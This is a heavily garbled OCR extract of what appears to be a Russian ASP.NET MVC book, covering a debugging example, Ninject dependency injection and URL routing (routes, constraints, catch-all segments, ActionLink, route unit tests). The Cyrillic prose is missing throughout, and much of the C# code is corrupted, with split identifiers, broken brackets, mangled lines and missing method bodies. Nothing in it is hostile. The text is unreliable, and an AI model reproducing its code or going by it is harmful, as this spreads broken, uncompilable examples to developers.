using System.Web.Mvc;
namespace DebuggingDemo.Controllers {
public class HomeController : Controller {
public
ActionResult
I n d e x ()
}
public ActionResult A b o u t () {
return V i e w ();
}
}
}
10. MVC
277
secon dV al 0,
, f i r s t V a l secon dV al.
. , . 1 0 .9 .
. 10.9.
,
. ,
, /
.
278
BtiGGGtinc
Edit and Continue . ,
. I n d e x
H o m e C o n t r o l l e r : . ,
V i e w B a g .
V i e w D a t a , ( )
10.4.
10.4. V iew B ag In d e x
public ActionResult I n d e x () {
int firstVal = 10;
int secondVal = 0;
int result = firstVal / secondVal;
ViewD a t a ["Message"] = "Welcome to ASP.NET MVC!";
return View(result);
}
I n d e x , c s h t m l
(. 10.5).
10.5. V iew B ag
@model int
ViewBag.Title = "Home Page";
}
<h2>0ViewData["Message"] </h2>
<p>
The calculation result value is: SModel
</p>
10. MVC
279
, I n d e x .
10..
public ActionResult Index () {
int firstVal = 1,0;
int secondVal = 0;
int result = firstVal / 5;
ViewData["Message" ] = "Welcome to ASP.NET MVC!";
retu2 View (result^
Continue () Debug.
, , . 10.12.
280
II. ASP.NET 3
Visual Studio .
T estO D ebug ().
, . ,
, .
.
, ,
, .
.
. A s s e r t ,
, ,
. ,
, , , ,
, .
,
MVC Framework ;
^ , . ,
.
MVC Framework
SportsStore. D e f a u l t C o n t r o l l e r F a c t o r y
NinjectControllerFactory,
Ninject (Dependency
Injection DiJ.
Framework MVC, DI ,
Ninject.
.
MVC Framework ,
System. Web. Mvc. DependencyResolver.
DI MVC, I D e p e n d e n c y R e s o l v e r
DependencyResolver.
, ,
, Ninject .
DI SportsStore,
DI . 10.7 ,
IDependencyResolver .
10.7. Ninject- ID e p e n d e n c y R e s o lv e r
using
using
using
using
using
using
using
using
using
System;
System.Collections.Generic;
System.Web.Mvc;
Ninject;
Ninject.Parameters;
N inject.Syntax;
SportsStore.Domain.Abstract;
SportsStore.Domain.Concrete;
SportsStore.W e b U I .Infrastructure.Abstract;
10. MVC
281
f
public object GetService(Type serviceType)
return kernel.TryGet(serviceType);
}
public IEnumerable<object> GetServices(Type serviceType)
return kernel.GetAll(serviceType);
}
public IBindingToSyntax<T> Bind<T>()
return kernel,Bind<T> ();
/
public IKernel Kernel {
get ( return kernel; }
)
private void AddBindings() {
//
Bind<IProductRepository>().To<EFProductRepository>();
Bir.d<i^ubhPir(7vicier^ () .ToCFormsflutiiFrovider;' ;
//
EmailSettings emailSettings = new EmailSettings (
WriteAsFile = b o o l .Par s e (
ConfigurationManager.AppSettingst"Email.WriteAsFile"] ?? "false")
};
Bind<IOrderProcessor>()
.To<EmailOrderProcessor>()
.WithConstructorArgument("settings", emailSettings);
)
, . MVC Framework,
, Ninject,
. Bind,
. ,
AddBindings, ,
NinjectCont r o l l e r F a c t o r y 7.
N i n j e c t C o n t r o l l e r F a c t o r y
N i n j e c t D e p e n d e n c y R e s o l v e r A p p l i c a t i o n _ S t a r t
G l o b a l .asax, 10.8.
282
10.8. ID e p e n d e n c y R e s o lv e r
protected void Application
Start
A r e a R e j i s t n a t i o n . f l e g i 31e r A l
lA re a s
(/
new C a r t M o d e l B i n d e r () ) ;
}
, Ninject MVC. n MVC Framework,
, DI - .
11
URL,
MVC ASP.NET
URL .
, :
URL
e :\webroot\default.aspx
e :\webroot\admin\login.aspx
h t t p :/ / m y s i t e .com/articles/AnnualReview
!
404.
.
URL ,
. , ,
.
URL. URL, HTML-,
,
(
URL).
284
URL,
. ,
URL,
HTML-.
ASP.NET MVC Framework,
ASP.NET, Web
Forms. System.Web,
System.Web.Mvc.
MVC, , Visual Studio
S y s te m .w e b . R o u t in g . .NET 3.5,
. .
MVC Framework,
ASP.NET.
ASP.NET Web Forms
A p p l i e d A S P . N E T in C o n t e x t .
,
. MVC
Internet Application (-) UrlsAndRoutes.
,
.
Global.asax. Visual Studio,
, ( )
. 11.1 Global, asax
( ).
! , Global.asax.cs
Global.asax. Global.asax S olution E xplore r (
) Visual Studio Global.asax.cs.
Global .asax.
11.1. G l o b a l . a s a x . cs
using System. Web . M vc;
using System.Web.Routing;
namespace UrlsAndRoutes {
public class MvcApplication : System.Web.HttpApplication (
protected void Application_Start() {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
11. URL,
public static void RegisterRoutes(RouteCollection routes)
...
285
}
public static
v o i d R e g i s t e r G l o b a l F i l t e r s (GlobalFilterCoHeCtiOn filters)
filters.Add(new HandleErrorAttribute());
>
Aypiicatlon_start ASP.NET,
. RegisterRoutes.
R o u t e T a b l e .
Routes, RouteCollection.
R egisterRoutes , , ..
. ,
, : URL.
URL
(rou te).
URL, ,
URL, .
URL, ,
. URL (URL pattern),
URL. URL,
URL.
URL SportsStore:
http://mysite./Admin/Index
URL,
. 9, , URL
Index AdminController.
URL . URL
, /.
URL , . 11.1.
Admin, Index.
, ,
.
. URL:
(controller)/{action}
. 11. 1. URL
286
URL
URL URL
, .
( { }).
controller action.
- ,
MVC ,
URL URL ,
.
! .
.
, MVC Framework,
controller action.
Web Forms,
.
URL URL,
. ,
URL , . 11.1.
11.1. URL
URL
controller = Admin
action = Index
h t t p :/ / m y s i t e .corn/lndex/Admin
controller = Index
action = Admin
controller = Apples
action = Oranges
h t t p :/ / m y s i t e .com/Admin
11.1 URL.
URL , URI , .
.
URL . URL
, ,
.
URL. ,
.
,
MVC, URL , ,
URL, .
. 11.1. URL Admin Index
, URL .
11. URL,
287
URL, .
11,2 , R e g isterRoutes G l o b a l .asax
URL .
11.2.
public static void RegisterRoutes(RouteCollection routes)
,
URL. MvcRouteHandler.
ASP.NET
, M v c R outeHandler , ASP.NET MVC.
RouteCo l l e c t i o n Add,
.
. , ,
,
. URL
, .
MapRoute, RouteCollection. 11.3 ,
.
}
, ,
MvcRouteHandler. MapRoute
MVC. ASP.NET Web Forms
MapPageRoute, RouteCollection.
: URL
,
URL,
. URL
, - .
, .
.
, ,
.
288
: HttpRe q u e s t B a s e ,
HttpContextBase HttpResponseBase (
URL, ). MVC .
, - (mock objects),
:
p r i v a t e jjttpContextBase C r e a t e H t t p C o n t e x t (s t r i n g t a r g e t U r l = null,
s t r i n g h t t p M e t h o d = "GET")
//
r eturn m o c k C o n t e x t .O b j e c t ;
)
. URL AppRelativeCurrent
ExecutionFilePath HttpRequestBase, a HttpRequestBase Request
- HttpContextBase.
:
private void TestRouteMatch (string url, string controller, string action, object
r o u t e P r o p e r t i e s = null, s t r i n g h t t p M e t h o d = "GET") {
/ /
R o u t e C o l l e c t i o n r o ut e s = n e w R o u t e C o l l e c t i o n ();
MvcApplication.RegisterRoutes(routes);
/ /
A s s e r t .I s N o t N u l l ( r e s u l t ) ;
A s s e r t .I s T r u e ( T e s t l n c o m i n g R o u t e R e s u l t ( r e s u l t , contro l l e r ,
action, r o u t e P r o p e r t i e s ) );
)
URL,
controller action, object,
, .
, .
HTTR .
, ,
, , TestRouteMatch
TestlncomingRouteResult. .NET,
.
,
MVC.
11. URL,
289
TestlncomingRouteResult:
private bool TestlncomingRouteResult (RouteData routeResult,
string controller, string action, object propertvSet = null)
);
bool result = valCompare(routeResult.Values["controller"], controller)
&& valCompare(routeResult.Val u e s ["action"], action);
if (propertySet != null) {
PropertyimotJ proplnfo = propertySet.GetType().GetProperties ();
foreach (Propertylnfo pi in proplnfo) (
if (!(routeResult.Values.ContainsKey(pi.Name)
&& valCompare(routeResult.Values[pi.Name],
p i .GetValue(propertySet, null)))) {
result = false;
break;
)
)
)
return result;
}
, URL . ,
URL.
private void TestRouteFail(string url)
//
RouteCollection routes = new RouteCollection();
MvcApplication.RegisterRoutes(routes);
//
RouteData result = routes.GetRouteData(CreateHttpContext(url));
//
As s e r t .IsTrue(result == null | | result.Route == null);
}
TestRouteMatch TestRouteFail Assert,
, . C#
, ,
URL, .
, , 11.3:
[TestMethod]
public void TestlncomingRoutes() {
// URL,
TestRouteMatch("-/Admin/Index", "Admin", "Index");
// ,
TestRouteMatch("~/One/Two", "One", "Two");
// ,
//
TestRouteEail ("-/Admin/Index/Segment") ;
TestRouteFail("-/Admin");
. 4039
290
II. ASP.NET 3
TestRouteMatch URL
URL, controller action
URL. TestRouteFail
, URL, .
URL (~) ASP.NET
Framework URL .
, .
, RegisterRoutes G l o b a l .asax.
, .
URL (h t t p :/ / l o c a l h o s t :< > /),
404 Not Found { ). , URL
, { c o n t r o l l e r } / { a c t i o n }.
URL ~/Home/Index.
, . 11.2.
. 11.2. URL
URL URL controller,
, action, Index. MVC
Framework Index ,
Internet A pplication.
,
URL. , ,
URL MVC.
URL
, URL . URL
~/,
, controller action.
, URL ,
URL . , ,
.
. ,
11. URL,
291
URL . 11.4
, .
11.4.
public static void RegisterRoutes(RouteCollection routes)
}
. 11.4
action , Index.
, , URL. ,
URI. http : //mydomain . e o m / H o m e / Index Home
controller Index action.
, action,
URL. URL
' controller URL
action.
URL h t t p ://myd o m a i n .com/ H o m e Index
.
URL,
,
. 11.5, URL
.
11.5.
public static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("MyRoute", "{controller)/ (action}",
new { controller = "Home", action = "Index" });
}
c o n t r o l l e r action,
, URL ,
(. . 11.2).
11.2. URL
m y d o m a i n .com
controller = Home
action = Index
m y d o m a i n ./Customer
controller = Customer
action = Index
m y d o m a i n .com/Customer/List
controller = Customer
action = List
mydomain.com/Customer/List/All
URL,
.
292
URL ,
controller action, URL
Index (. 11.3).
. 11.3. URL
;
,
, . ,
11.5:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch ( ,
"Home", "Index");
TestRouteMatch("'/Customer", "Customer", "Index");
TestRouteMatch("~/Customer/List", "Customer", "List");
TestRouteFail("~/Customer/List/All");
}
, : URL ~ /,
ASP.NET URL .
, / ,
.
URL
URL .
, . ,
URL, URL,
Public:
h t t p ://mydomain./Public/Home/Index
, 11.6.
11.6. URL
puoiic static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("MyRoute", "{controller}/{action}
new { controller = "Home", action = "Index" });
routes.M a p R o u t e ("", "Public/{controller}/ {action}",
new { controller = "Home", action = "Index" });
}
URL URL, ,
Customers.
, controller action.
11. URL,
293
URL, ,
, , , 11.7.
11,7. URL
public static void RegisterRoutes(RouteCollection routes)
r o u t e s . M a p R o u t e , "X{controller}/(action)");
routes.MapRoute("MyRoute", " (controller)/ (action)",
new ( controller = "Home", action = "Index" ));
routes.MapRoute ("", "Public/(controller)/(action)",
new ( controller = "Home", action = "Index" });
)
URL,
X. controller
, X. action . ,
U R L :
h t t p ://mydomain.com/XHome/Index
U R L Index .
RegisterRoutes 11.6
, , ,
RouteCollection. MapRoute
, ,
. , ,
, , ..
.
URL ,
, ,
. ,
.
. , 11.7,
, . , ,
:
routes.MapR o u t e ("MyRoute", "{controller)/ (action)",
new ( controller = "Home", action = "Index" ));
routes.MapRoute("", "X (controller)/ (action}");
, URL ,
, . ,
, . X URL,
- . , URL :
h t t p ://mydomain.com/XHome/Index
, ,
404 - Not Found.
: URL",
. MVC,
, , , URL.
294
URL
(alias) URL. ,
URL .
URL.
, Shop,
. 11.8 ,
URL.
11.8. URL
public static void RegisterRoutes(RouteCollection routes)
routes .MapRoute (" ShopSchema" , "Shop/(action) ", new ( controller - "Home" }),. . . .. .
}
URL,
Shop. action URL.
URL controller,
. , -
Shop .
,
.
URL controller action ,
11.9.
11.9.
pu b l i c St a t i c v o i d R e g i s t e r R o u t e s ( R o u t e C o l l e c t i o n routes)
routes.MapRoute("ShopSchema2", "Shop/OldAction",
new { controller = "Home", action = "Index" });
routes.MapRoute("ShopSchema", "Shop/{action}", new ( controller = "Home" });
. . . . ..
)
, ,
. , , ,
. Shop/OldAction , ,
, , .
4 04 Not Found ,
.
:
, URL
. ,
11.8:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch("-/Shop/Index", "Home", "Index");
11. URL,
295
c o n t r o l l e r a c t i o n .
, 11.10.
11.10. URL
p u b l i c static v o i d R e g i s t e r R o u t e s ( R o u t e C o l l e c t i o n routes)
}
URL c o n t r o l l e r a c tio n ,
id . URL
.
id ,
.
!
. c o n t r o l l e r , a c t i o n a r e a .
,
.
R o u t e D a t a . V a l u e s .
H o m e C o n t r o l l e r C u s t o m V a r i a b l e , 11.11.
11.11.
p u b lic V iew R esult C u sto m V a ria b le
V ie w B a g . C u s t o m V a r i a b l e = R o u t e D a t a . V a l u e s [ " i d " ] ;
return V iew ();
}
URL
V ie w B a g . 11.12
C u s t o m V a r i a b l e . c s h t m l ,
View s/H o m e.
11.12.
@(
V ie w B a g . T i t l e = " C u s t o m V a r i a b l e " ;
)
< h 2 > V a r i a b l e : SV ie w B a g . C u sto m V a ria b le < / h 2 >
URL / H o m e / C u s t o m V a r i a b l e / H e l l o
C u s t o m V a r i a b l e ,
V iew B ag , ,
. 11.4.
296
. 11.4.
:
. TestRouteMatch ,
, .
, , 11.10:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch("~/",* "Home", "Index", new {id = "Defaultld"));
TestRouteMatch("-/Customer", "Customer", "index", new ( id = "Defaultld"
}> ;
TestRouteMatch("-/Customer/List", "Customer", "List", new { id =
"Defaultld" });
TestRouteMatch("~/Customer/List/All", "Customer", "List", new { id =
"All" }) ;
TestRouteFail("~/Customer/List/All/Delete");
R o u t e D a t a . V a l u e s
. .
,
URL, MVC Framework
, URL, . ,
11.8 i d .
C u s t o m V a r i a b l e , ,
11.13.
11.13. URL
public ViewResult CustomVariable(string id) {
ViewBag.CustomVariable = index;
return V i e w ();
)
- URL URL,
11.8, URL
i n d e x . MVC Framework
,
URL .
11. URL,
297
URL
URL ,
. . 11.14
.
U r l P a r a m e t e r .O p t i o n a l (
).
11.14. URL
public static void RegisterRoutes(RouteCollection routes)
URL,
id. . 11.3 , URL.
11.3. URL
URL
mydomain.com
controller = Home
action = Index
m y d o m a i n .com/Customer
controller = Customer
action = Index
m y d o m a i n .com/Customer/List
controller = Customer
action = List
mydomain.com/Customer/List/All
controller = Customer
action = List
id = All
mydomain.com/Customer/List/All/Delete
, i d ,
URL . ,
id null id
.
, ,
. id ,
298
,
URL ,
.
,
. ,
#, 11.15.
11.15.
public ViewResult CustomVariable(string id = "Defaultld")
ViewBag.CustomVariable = id;
return V i e w ();
}
: URL
,
URL, ,
RouteData .Values, URL. ,
, URL,
. , 11.14.
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch( ,
"Home", "Index");
TestRouteMatch("'/Customer", "Customer", "index");
TestRouteMatch("~/Customer/List", "Customer", "List");
TestRouteMatch("~/Customer/List/All", "Customer", "List", new ( id = "All" ));
TestRouteFail("~/Customer/List/All/Delete");
URL URL.
URL .
(catch-all),
(*), 11.16.
11.16.
public static void RegisterRoutes(RouteCollection routes)
)
,
, catchall.
11. URL,
299
URL.
c o n t r o l l e r , a c t io n i d . URL
, c a t c h a l l (. . 11.4).
11.4. URL
URL
mydomain. com
c o n t r o l l e r = Home
a c t io n = Index
mydomain. com/Customer
c o n t r o l l e r = Customer
a c t io n = Index
mydomain.com /Customer/List
c o n t r o l l e r = Cuatomer
a c t io n = L i s t
c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l
mydomain.com/Customer/List/Al1/Delete/Perm
c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l
c a t c h a l l = D e le te
c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l
c a t c h a l l = Delete/Perm
, URL
, . , ,
, / / .
.
:
.
, , ,
//. ,
/ . ,
, 11.16, URL,
. 11.4:
[TestMethod]
pu b l i c v o i d T e s t l n c o m i n g R o u t e s () {
T e s t R o u t e M a t c h ("-/", "Home", "Index");
T e s t R o u t e M a t c h ( " - / C u s t o m e r " , "Customer", "Index");
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t " , "Customer", "List");
TestRouteMatch("-/Customer/List/All", "Customer", "List", new ( id = "All" });
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t / A l l / D e l e t e " , " C ustomer", "List",
new { id = "All", c a t c h a l l = "Delete" ));
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t / A l l / D e l e t e / P e r m " , "Customer", "List",
new { id = "All", c a t c h a l l = " D e l e t e / P e r m " });
}
300
II. ASP.NET 3
URL , MVC Framework
c o n t r o l l e r . ,
c o n t r o l l e r Home, MVC Framework
H o m eC on troller. ,
H o m eC o n tro lle r , MVC Framework
, . ,
. 11.5.
. 11.5. , -
, ,
MVC,
. ,
, A c c o u n tC o n tr o lle r , ,
.
! , . 11.5,
A d d i t i o n a l C o n t r o l l e r s ,
H o m e C o n tro lle r. ,
URL /. MVC Framework
Hom eControllei-: , A d d it io n a lC o n t r o lle r s .
. . 11.5, MVC Framework
, .
MVC Framework
; 11.17.
11. URL,
301
11.17.
public static void RegisterRoutes(RouteCollection routes)
}
.
MVC Framework U R L s A n d R o u t e s .
Controllers . , MVC Framework
.
, , .
MVC Framework
.. , ,
:
.
routes.MapR o u t e ("MyRoute", "{controller}/{action)/{id)/{*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] ( "URLsAndRoutes.Controllers", "AdditionalControllers"));
11.18.
public static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("AddContollerRoute", "Home/{action}/{id}/{*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] { "AdditionalControllers" });
routes.MapRoute("MyRoute", "(controller)/(action)/{i d }/ {*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {] { "URLsAndRoutes.Controllers"});
. 14 ,
, .
, ,
.
MVC Framework
.
, . 11.19
, .
302
1 1 .1 9 .
public static void RegisterRoutes(RouteCollection routes)
Route myRoute =
routes.M a p R o u t e ("AddContollerRoute", "Home/(action}/ {id)/ {*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] { "AdditionalControllers" });
myR o u t e .DataTokens["UseNamespaceFallback"] = false;
)
M apR o u te R o u te .
,
. ,
R o u te f a l s e U s e N a m e s p a c e F a llb a c k
D a ta T o k e n s . ,
,
14.
, URL
.
, ..
,
URL URL.
.
, URL,
.
, ,
. 11.20 .
11.20.
public static void RegisterRoutes(RouteCollection routes)
, M apRoute.
, ,
.
,
URL, c o n t r o l l e r
.
11. URL,
303
! . ,
, URL / ,
c o n t r o l l e r , . ,
c o n t r o l l e r , URL .
,
URL.
|, 11.21.
11.21.
public static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("MyRoute", "{controller)/{action)/(id)/{*catchall)",
new ( controller = "Home", action = "Index", id = UrlParameter.Optional ),
new ( controller* = " . * " , action = "AIndex$ | AAbout$" ) ,
new[] { "URLsAndRoutes.Controllers"));
)
U R L
action, Index About. ,
, action,
, controller. ,
1 1 . 2 1 U R L ,
c o n t r o l l e r action
Index About. , ,
.
HTTP
, U R L ,
HTTP,
11.22.
11.22. HTTP
public static void RegisterRoutes(RouteCollection routes)
}
HTTP
. , , , ..
HttpMethodConstraint. httpMethod,
,
.
304
! HTTP
, HttpGet HttpPost.
,
, .
,
. ,
HTTP ( PUT DELETE), 14.
HTTP, ,
HttpMethodConstraint.
GET, ,
:
httpMethod = new HttpMethodConstraint("GET", "POST")
},
:
URL,
, URL, ;
, .
, , 11.20:
[T estM eth o d]
}) ;
TestRouteFail("-/Home/OtherAction");
TestRouteFail("-/Account/Index");
TestRouteFail("-/Account/About");
}
HTTP. HTTP, ,
T e s t R o u t e M a t c h T e s t R o u t e F a i l , ,
, 11.21:
[TestMethod]
public void RegisterRoutesTest
11. URL,
305
, ,
IRouteConstraint. 11.23 ,
(user-agent),
.
11.23.
using System.Web;
using System.Web.Routing;
namespace URLsAndRoutes.Infrastructure {
public class UserAgentConstraint : IRouteConstraint {
private string requiredUserAgent;
public UserAgentConstraint(string agentParam)
requiredUserAgent = agentParam;
}
public bool Match(HttpContextBase httpContext, Route route,
string parameterName, RouteValueDictionary values,
RouteDirection routeDirection) {
return h t t p C o n t e x t .R e q u e s t .U serAgent != null &&
httpContext.Request.UserAgent.Contains(requiredUserAgent);
IRouteConstraint Match,
, .
M a t c h ,
, , ,
URL, , URL .
, U s e r A g e n t
, .
11.24.
11.24.
public static void RegisterRoutes(RouteCollection routes)
},
new[]
{ "URLsAndRoutes.Controllers" });
}
,
, , u s e r - a g e n t I E (
Microsoft).
30
! ,
. user- a g e n t
. ,
- .
MVC . , ,
HTML-, JavaScript ..
S t a t i c C o n t e n t . h t m l Con t e n t
MVC. 11.25.
11.25. S t a t i c C o n t e n t . h t m l
<html>
<head><title>Static HTML Content</titleX/head>
<body>This is the static html file (~/Content/StaticContent.html)</body>
</html>
. URL / C o n t e n t /
StaticContent .html, HTML-
(. 11.6).
. 11 .6.
, URL
, .
, .
RouteExi s t i n g F i l e s RouteCollection true
, (. 11.26).
11.26.
public static void RegisterRoutes(RouteCollection routes)
routes.RouteExistingFiles = true;
routes.MapRoute("MyRoute", " {controller}/{action}/ {id}/ {*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = "AH .*", action = "Index IAbout",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")
},
new[]
{ "URLsAndRoutes.Controllers" });
11. URL,
307
RegisterRoutes,
,
. RouteExistingFiles true
URL, ,
11.27.
11.27. , URL
public static void RegisterRoutes(RouteCollection routes)
routes.RouteExistingFiles = true;
routes.MapR o u t e ("DiskFile", "Content/StaticContent.htm l " ,
new {
controller = "Account", action = "LogOn",
},
new {
customConstraint = new UserAgentConstraint("IE")
}) ;
routes.MapRoute("MyRoute", "{controller}/{action}/{id}/{*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = "~ H .*", action = "Index!About",
httpMethod = new HttpMethodConstraint ("GET", "POST"),
customConstraint = new UserAgentConstraint ("IE" )
),
new[]
( "URLsAndRoutes.Controllers" });
)
U R L C o n t e n t / S t a t i c C o n t e n t .html
Log O n Account. ,
, , ,
user-agent IE. ( ,
; -
!)
R o u t e E x i s t i n g F i l e s true,
,
. ,
Internet Explorer Account,
. U R L . 11.7.
. 1 1 .7 .
, ,
, , U R L
U R L .
, / C o n t e n t / S t a t i c C o n t e n t .html
U R L , ( c o ntroller)/ {action}. ,
-
308
. , R o u t e E x i s t i n g F i l e s true
. ,
Content HTML- O t h e r S t a t i c C o n t e n t . h t m l
RegisterRoutes , 11.28.
11.28. R e g is t e r R o u te s
public static void RegisterRoutes(RouteCollection routes)
routes.RouteExistingFiles = true;
routes.MapR o u t e ("DiskFile", "Content/StaticContent.html",
new (
controller = "Account", action = "LogOn",
},
new {
customConstraint = new UserAgentConstraint("IE")
)) ;
routes.MapRoute^"MyNewRoute", " {controller}/{action}");
routes.MapRoute("MyRoute", "{controller}/{action}/ {id}/ {*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")
},
new[]
( "URLsAndRoutes.Controllers" });
}
URL Content/OtherStaticContent .html,
URL, 11.28, Content,
O t h e r S t a t i c C o n t e n t . html.
, URL . ,
, 4 04 Not Found.
R o u t e E x i s t i n g F i l e s ,
, (.. ).
, ,
.
URL
. IgnoreRoute
RouteCollection, 11.29.
11.29. Ig n o re R o u te
public static void RegisterRoutes(RouteCollection routes) {
routes.RouteExistingFiles = true;
routes.MapRoute("DiskFile", "Content/StaticContent.html",
new (
controller = "Account", action = "LogOn",
},
new {
customConstraint = new UserAgentConstraint ("IE")
});
11. URL,
309
routes.IgnoreRoute("Content/{filename}.html");
routes.MapRoute ("", "{controller}/ {action}");
routes.MapRoute("MyRoute", "{controller}/{action}/{id}/{catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")
},
n e w [] { "URLsAndRoutes.Controllers" });
}
{filename}
URL. URL
URL, Content,
.html.
I g n o r e R o u t e R o u t e C o l l e c t i o n ,
St o p R o utingHandler,
MvcRouteHandler.
. Ig n o r e R o u t e URL
, ,
. ,
Ig noreRoute . 11.27
RouteExistingFiles,
HTML-.
URL
URL .
URL URL,
,
,
.
URL.
: URL,
URL . ,
, 11.28, :
< href="/Home/About">About this application</a>
HTML- URL-,
URL About .
URL .
. , URL ,
URL.
. , URL
,
URL .
, ,
.
310
,
. R e g i sterRoutes G l o b a l .asax
11.30, Ad d i t i o n alControllers - .
11.30. R e g is t e r R o u te s
public static void RegisterRoutes(RouteCollection routes)
URL
URL
H t m l .ActionLink , 11.31.
11.31. A c t io n L in k
@Html.ActionLink("About this application", "About")
ActionLink ,
. HTML-, ActionLink,
. , ,
11.30 ( ,
), HTML-:
< href="/Home/About">About this application</a>
, , :
public static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("NewRoute", "App/Do{action}",
new { controller = "Home" });
routes.MapRoute("MyRoute", "(controller)/(action}/(id)",
new ( controller = "Home", action = "Index", id = UrlParameter.Optional });
}
ActionLink HTML-:
< href="/App/DoAbout">About this application</a>
,
. ,
.
________________ URL
, , URL,
URL. ,
, URL.
RouteCollection,
RegisterRoutes. ,
.
11. URL,
311
, URL,
.
( ),
, , ,
. ( .)
, ,
, , .
, ,
URL. , m y V a r
, ;
routes.MapRoute("MyRoute",
new
));
m yV a r ,
.
.
.
: ,
.
URL; .
. URL
. URL,
, h r e f :
< h r e f = " " > A b o u t t h i s
a p p l ic a t io n < / a >
,
. URL ( ),
n u l l , .
. URL
.
Route, , URL.
null, URL.
,
. ,
,
/ .
: URL
URL
U r l H e l p e r . G e n e r a t e U r l ,
, , ,
, , .. ,
URL , 11.29:
[TestMethod]
public void TestOutgoingRoutes() {
//
RouteCollection routes = new RouteCollection() ;
312
M v c A p p iie a t io n .R e g is te r R o u t e s (r o u t e s );
1
URL, , HTML . U r l H e l p e r .GenerateUrl RequestContext,
- HttpContextBase
CreateHttpContext. CreateHttpContext
: URL" .
ActionLink ,
, .
URL, ,
ActionLink,
(. 11.32).
11.32.
A c t io n L in k
@Html .ActionLink("About this application", "About", "MyController")
,
HTML-:
< href="/MyController/About">About this application</a>
! URL
, . , ,
, ,
, .
, . 11.33 .
11.33.
@Html.ActionLink("About this application",
id.
, 11.30,
HTML-:
< href="/Home/About/MyID">About this application</a>
11. URL,
313
, URL,
URL .
URL ,
URL
.
.
, :
routes.MapR o u t e ("MyRoute", "{controller}/ {action}/ {color}/ {page}");
URL /Catalog/List/Purple/123
:
@Html.ActionLink("Click m e " , "List", "Catalog", new {page=789}, null)
,
, .. color,
. , .
.
HTML-:
< href="/Catalog/List/Purple/789">Click me</a>
,
URL. color
Purple, URL, .
, .
, ,
,
.
, URL, ,
Html .ActionLink. , :
0Html.ActionLink("Click m e " , "List", "Catalog", new {color="Aqua"}, null)
color, . URL color
, ,
URL, .
.
URL. , ,
, ,
.
,
, URL . ,
:
@Htm l. A c t i o n L i n k ( "A bout
new
{ id
this
application",
"A bout",
})
HTML-:
<a h r e f = " / H o m e / A b o u t / M y I D ? m y V a r i a b l e = M y V a l u e " > A b o u t
this
314
,
, ,
URL. , ActionLink:
SHtml .ActionLink("About this application", "Index", "Home")
, ,
, 11.27.
HTML-:
< href="/">About this application</a>
,
URL ,
, URL
.
HTML-
URL,
ActionLink, , HTML-
<>. , ,
. 11.34
id CSS- HTML-.
, id class,
ActionLink.
null, .
. , class @.
#,
.
A c tionLink HTML-:
< class="myCSSClass" href="/" id="myAnchorID">About this application</a>
URL
, , URL,
A c t i o n L i n k
URL, 11.35.
11.35. URL
@Html.ActionLink("About this application", "Index", "Home",
"https", "myserver.mydomain.com", " myFragmentName",
new { id = "Myld" },
new { id = "myAnchorlD", Sclass = "myCSSClass"})
11. URL,
315
ActionLink
. (https ),
(myserver.myciomain.com), URL (myFragmentName),
, .
HTML-:
< class="myCSSClass"
href="htt p s ://myserver.mydomain.com/Home/Index/MyId#myFragmentName"
id="myAnchorID">About this application</a>
URL, .
URL ,
. ,
, URL, -
,
.
URL ( )
Html .ActionLink HTML- <>,
. URL,
, - URL-,
HTML- , URL URL
HTML-.
, Url .Action
URL HTML-, 11.36.
URL
, -
controller action, URL.
MVC Framework,
ASP.NET.
controller action
URL, /.
,
MVC, 11.37.
11.37.
@Html.RouteLink("Routed Link",
new { controller = "Home", action = "About", id="MyID"})
316
R o u t e L i n k c o n
troller action. . ,
11.37, HTML-
:
< href="/Home/About/MyID">Routed Link</a>
U r l . R o u t e U r l
URL, 11.38.
11.38.
URL
,
controller action . ,
, .
URL
, URL ,
.
URL, ,
(. 11.39).
11.39. URL
public ViewResult MyActionMethod() (
string myActionUrl = Url.Action("Index", new { id = "MylD" });
string myRouteUrl = U r l .RouteUrl (new { controller = "Home", action = "Index" }) ;
. . . - URL ...
)
,
URL. , RedirectToAction,
11.40.
11.40.
public ActionResult MyActionMethod () (
return RedirectToAction("Index");
}
R e d i r e c t T o A c t i o n R e d i r e c t T o R o u t e R e s u l t ,
MVC Framework URL,
.
R edirectToAction,
URL.
URL,
, R e d i r e c t T o R o u t e (.
11.41).
11. URL,
317
11.41. URL,
public ActionResult MyOtherActionMethod() {
return RedirectToRoute(
new { controller = "Home", action = "Index", id = "MylD" });
}
R e d i r e c t T o R o u t e R e s u l t
, RedirectToAction.
URL
, . ,
:
routes.MapRoute("MyRoute", "(controller}/(action}") ;
routes.MapRoute("MyOtherRoute", "App/(action}", new { controller = "Home" });
,
MapRoute, MyRoute MyOtherRoute.
:
:
URL.
,
. ,
ActionLink:
SHtml.ActionLink("Click me", "About");
URL MyRoute.
H t m l .RouteLink, , :
